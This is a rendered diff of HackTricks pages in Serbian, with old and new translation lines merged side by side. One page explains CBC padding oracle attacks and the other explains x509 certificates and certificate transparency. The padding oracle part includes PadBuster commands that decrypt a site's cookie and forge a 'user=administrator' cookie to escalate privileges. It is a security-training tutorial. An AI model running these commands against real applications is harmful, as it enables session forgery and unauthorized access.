* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,56 +1,57 @@
# Oracle za popunjavanje # Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
U CBC režimu se **prethodni šifrovani blok koristi kao IV** za XOR sa sledećim blokom: U CBC modu, **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Da bi se dešifrovao CBC, vrše se **suprotne operacije**: Da bi se dekriptovao CBC, vrše se **suprotne** **operacije**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Primetite kako je potrebno koristiti **ključ za šifrovanje** i **IV**. Primetite kako je potrebno koristiti **ključ za enkripciju** i **IV**.
## Popunjavanje poruke ## Message Padding
Pošto se šifrovanje vrši u **fiksnim veličinama blokova**, obično je potrebno popunjavanje u **poslednjem bloku** da bi se kompletirala njegova dužina.\ Kako se enkripcija vrši u **fiksnim** **veličinama** **blokova**, obično je potrebno **paddovanje** u **poslednjem** **bloku** da bi se završila njegova dužina.\
Obično se koristi **PKCS7**, koji generiše popunjavanje **ponavljanjem** **broja** **bajtova** **potrebnih** da se **kompletira** blok. Na primer, ako poslednjem bloku nedostaju 3 bajta, popunjavanje će biti `\x03\x03\x03`. Obično se koristi **PKCS7**, koji generiše padding **ponavljajući** **broj** **bajtova** **potrebnih** da se **završi** blok. Na primer, ako poslednjem bloku nedostaje 3 bajta, padding će biti `\x03\x03\x03`.
Pogledajmo još primera sa **2 bloka dužine 8 bajtova**: Pogledajmo više primera sa **2 bloka dužine 8 bajtova**:
| bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Primetite kako je u poslednjem primeru **poslednji blok bio pun pa je generisan još jedan samo sa popunjavanjem**. Primetite kako je u poslednjem primeru **poslednji blok bio pun, pa je generisan još jedan samo sa paddingom**.
## Oracle za popunjavanje ## Padding Oracle
Kada aplikacija dešifruje šifrovane podatke, prvo će dešifrovati podatke; zatim će ukloniti popunjavanje. Tokom čišćenja popunjavanja, ako **neispravno popunjavanje pokrene detektibilno ponašanje**, imate **ranjivost orakla za popunjavanje**. Detektibilno ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**. Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti padding. Tokom čišćenja paddinga, ako **nevalidan padding izazove uočljivo ponašanje**, imate **padding oracle ranjivost**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**.
Ako otkrijete ovo ponašanje, možete **dešifrovati šifrovane podatke** i čak **šifrovati bilo koji čisti tekst**. Ako primetite ovo ponašanje, možete **dekriptuju enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**.
### Kako iskoristiti ### How to exploit
Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili jednostavno uraditi Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili samo uradite
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
@ -58,25 +59,25 @@ Da biste testirali da li je kolačić sajta ranjiv, možete pokušati:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**Kodiranje 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći). **Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
Takođe možete **zloupotrebiti ovu ranjivost da biste šifrovali nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**korisnik=MojeKorisničkoIme**_**", tada ga možete promeniti u "\_korisnik=administrator\_" i eskalirati privilegije unutar aplikacije. To takođe možete uraditi koristeći `paduster` navođenjem parametra -plaintext**: Takođe možete **iskoristiti ovu ranjivost da enkriptujete nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u punjenju, ali možete i navesti poruku o grešci koristeći parametar **-error**. Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u punjenju, ali takođe možete naznačiti poruku o grešci koristeći **-error** parametar.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
### Teorija ### Teorija
U **kratko**, možete početi dešifrovanje šifrovanih podataka pogađajući tačne vrednosti koje se mogu koristiti za kreiranje svih **različitih punjenja**. Zatim, napad padding orakl će početi dešifrovanje bajtova od kraja ka početku pogađajući koja će biti tačna vrednost koja **stvara punjenje od 1, 2, 3, itd**. U **kratko**, možete početi dekriptovanje enkriptovanih podataka pogađanjem ispravnih vrednosti koje se mogu koristiti za kreiranje svih **različitih popuna**. Tada će napad na oracle za popunjavanje početi dekriptovanje bajtova od kraja ka početku pogađajući koja će biti ispravna vrednost koja **stvara popunu od 1, 2, 3, itd**.
![](<../.gitbook/assets/image (561).png>) ![](<../.gitbook/assets/image (561).png>)
Zamislite da imate neki šifrovan tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\ Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
Da biste **dešifrovali** **poslednji blok** (**E8** do **E15**), ceo blok prolazi kroz "dešifrovanje blokova šifre" generišući **posredne bajtove I0 do I15**.\ Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekriptovanje blok šifre" generišući **intermedijarne bajtove I0 do I15**.\
Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima (E0 do E7). Dakle: Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,41 +85,42 @@ Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
Sada je moguće **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti tačno punjenje. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7` Sada, moguće je **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti ispravna popuna. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7`
Dakle, pronalaženjem E'7, moguće je **izračunati I15**: `I15 = 0x01 ^ E'7` Dakle, pronalaženjem E'7, **moguće je izračunati I15**: `I15 = 0x01 ^ E'7`
Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Znajući **C15**, sada je moguće **izračunati C14**, ali ovog puta forsujući punjenje `\x02\x02`. Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-forcing popunu `\x02\x02`.
Ovaj BF je jednako složen kao i prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je potrebno samo pronaći **`E'14`** koji generiše **`C14` jednako `0x02`**.\ Ovaj BF je jednako složen kao prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je samo potrebno pronaći **`E'14`** koja generiše **`C14` jednaku `0x02`**.\
Zatim, uradite iste korake za dešifrovanje C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** Zatim, uradite iste korake da dekriptujete C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Pratite ovaj lanac dok ne dešifrujete ceo šifrovani tekst.** **Pratite chain dok ne dekriptujete ceo enkriptovani tekst.**
### Otkrivanje ranjivosti ### Otkrivanje ranjivosti
Registrujte nalog i prijavite se sa tim nalogom.\ Registrujte se i otvorite nalog i prijavite se sa tim nalogom.\
Ako se **prijavite mnogo puta** i uvek dobijete **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. Kolačić koji se vraća trebao bi biti jedinstven svaki put kada se prijavite. Ako je kolačić **uvek** isti, verovatno će uvek biti validan i **neće biti načina da se on poništi**. Ako se **prijavljujete više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**.
Sada, ako pokušate da **modifikujete** kolačić, videćete da dobijate **grešku** od aplikacije.\ Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\
Ali ako forsite punjenje (koristeći na primer padbuster) uspećete da dobijete drugi kolačić koji je validan za drugog korisnika. Ovaj scenario je vrlo verovatno ranjiv na padbuster. Ali ako BF-ujete popunu (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
### Reference ### Reference
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Sertifikati # Certificates
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Dobijte pristup danas: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Šta je Sertifikat ## Šta je sertifikat
**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća. **Javni ključ sertifikat** je digitalni ID koji se koristi u kriptografiji da dokaže da neko poseduje javni ključ. Uključuje detalje o ključevi, identitet vlasnika (subjekt) i digitalni potpis od poverljive vlasti (izdavača). Ako softver veruje izdavaču i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
Sertifikati se uglavnom izdaju od strane [autoriteta za sertifikaciju](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280. Sertifikati se uglavnom izdaju od strane [sertifikacionih tela](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u okviru [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Druga metoda je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je navedeno u RFC 5280.
## Zajednička Polja x509 ## x509 Zajednička polja
### **Zajednička Polja u x509 Sertifikatima** ### **Zajednička polja u x509 sertifikatima**
U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja: U x509 sertifikatima, nekoliko **polja** igra ključne uloge u obezbeđivanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja:
* **Broj Verzije** označava verziju formata x509. * **Broj verzije** označava verziju x509 formata.
* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Autoriteta za Sertifikaciju (CA), uglavnom za praćenje opoziva. * **Serijski broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog tela (CA), uglavnom za praćenje opoziva.
* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su: * Polje **Subjekt** predstavlja vlasnika sertifikata, što može biti mašina, pojedinac ili organizacija. Uključuje detaljnu identifikaciju kao što su:
* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom. * **Uobičajeno ime (CN)**: Domeni pokriveni sertifikatom.
* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje. * **Zemlja (C)**, **Lokacija (L)**, **Država ili pokrajina (ST, S, ili P)**, **Organizacija (O)**, i **Organizaciona jedinica (OU)** pružaju geografske i organizacione detalje.
* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta. * **Istaknuto ime (DN)** obuhvata punu identifikaciju subjekta.
* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA. * **Izdavač** detaljno opisuje ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekt za CA.
* **Period Važenja** obeležen je vremenskim oznakama **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma. * **Period važenja** označen je vremenskim oznakama **Ne pre** i **Ne posle**, osiguravajući da se sertifikat ne koristi pre ili posle određenog datuma.
* Odeljak **Javnog Ključa**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa. * Sekcija **Javni ključ**, koja je ključna za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
* **x509v3 proširenja** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata. * **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Korišćenje ključa**, **Prošireno korišćenje ključa**, **Alternativno ime subjekta**, i druge osobine za fino podešavanje primene sertifikata.
#### **Upotreba Ključa i Proširenja** #### **Korišćenje ključa i ekstenzije**
* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem. * **Korišćenje ključa** identifikuje kriptografske primene javnog ključa, kao što su digitalni potpis ili enkripcija ključa.
* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera. * **Prošireno korišćenje ključa** dodatno sužava slučajeve korišćenja sertifikata, npr. za TLS autentifikaciju servera.
* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta. * **Alternativno ime subjekta** i **Osnovna ograničenja** definišu dodatne nazive hostova pokrivene sertifikatom i da li je to CA ili sertifikat krajnjeg entiteta, redom.
* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva. * Identifikatori kao što su **Identifikator ključa subjekta** i **Identifikator ključa vlasti** osiguravaju jedinstvenost i praćenje ključeva.
* **Pristup Informacijama o Autoritetu** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata. * **Pristup informacijama o vlasti** i **Tačke distribucije CRL** pružaju puteve za verifikaciju izdavača CA i proveru statusa opoziva sertifikata.
* **CT Pre-sertifikat SCT-ovi** nude transparentne logove, ključne za javno poverenje u sertifikat. * **CT Precertifikat SCTs** nude transparente dnevnike, što je ključno za javno poverenje u sertifikat.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -74,61 +75,61 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **Razlika između OCSP i CRL distributivnih tačaka** ### **Razlika između OCSP i CRL distribucionih tačaka**
**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). **OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji rade zajedno kako bi proverili da li je digitalni javni ključ sertifikat opozvan, bez potrebe za preuzimanjem celog **CRL**. Ova metoda je efikasnija od tradicionalnog **CRL**, koji pruža listu opozvanih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velikog fajla. CRL-ovi mogu sadržati do 512 unosa. Više detalja je dostupno [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Šta je Transparentnost sertifikata** ### **Šta je transparentnost sertifikata**
Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njeni ciljevi su: Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da je izdavanje i postojanje SSL sertifikata vidljivo vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena. * Sprečavanje CA-a da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata. * Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
* Zaštita korisnika od lažnih sertifikata. * Zaštita korisnika od prevarantskih sertifikata.
#### **Sertifikatni zapisi** #### **Sertifikati logovi**
Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati za verifikaciju. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete. Sertifikati logovi su javno revizibilni, samo za dodavanje zapisi sertifikata, koje održavaju mrežne usluge. Ovi logovi pružaju kriptografske dokaze za revizijske svrhe. Izdavaoci i javnost mogu podnositi sertifikate ovim logovima ili ih pretraživati radi verifikacije. Dok tačan broj log servera nije fiksiran, očekuje se da će biti manje od hiljadu globalno. Ove servere mogu nezavisno upravljati CA, ISP ili bilo koja zainteresovana strana.
#### **Upit** #### **Upit**
Za istraživanje sertifikatnih zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh). Da biste istražili logove transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
